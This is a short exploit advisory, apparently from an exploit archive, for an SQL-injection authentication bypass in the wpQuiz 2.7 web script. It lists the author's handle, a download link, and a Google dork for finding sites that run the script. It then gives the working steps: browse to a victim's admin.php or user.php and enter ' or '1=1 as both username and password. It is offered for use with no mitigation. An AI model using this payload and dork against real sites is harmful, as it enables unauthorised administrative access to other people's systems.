26 lines
No EOL
732 B
Text
26 lines
No EOL
732 B
Text
Powered by wpQuiz - Auth bypass Vulnerability
|
|
|
|
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
[+] Author : KnocKout
|
|
[+] Greatz : DaiMon
|
|
[~] Contact : knockoutr@msn.com
|
|
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
~Script : wpQuiz
|
|
~Version : 2.7
|
|
~Download : http://webscripts.softpedia.com/script/Quizz/wpQuiz-41098.html
|
|
~Vulnerability Style : Auth bypass
|
|
~Google Dork : "Powered by wpQuiz" inurl:index.php
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
~~~~~~~~ Explotation ~~~~~~~~~~~
|
|
|
|
http://[Victim]/path/admin.php
|
|
[or user.php]
|
|
|
|
for bypass() bySQL
|
|
|
|
ID : ' or '1=1
|
|
PW : ' or '1=1
|
|
|
|
GOODLuck ;)
|
|
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |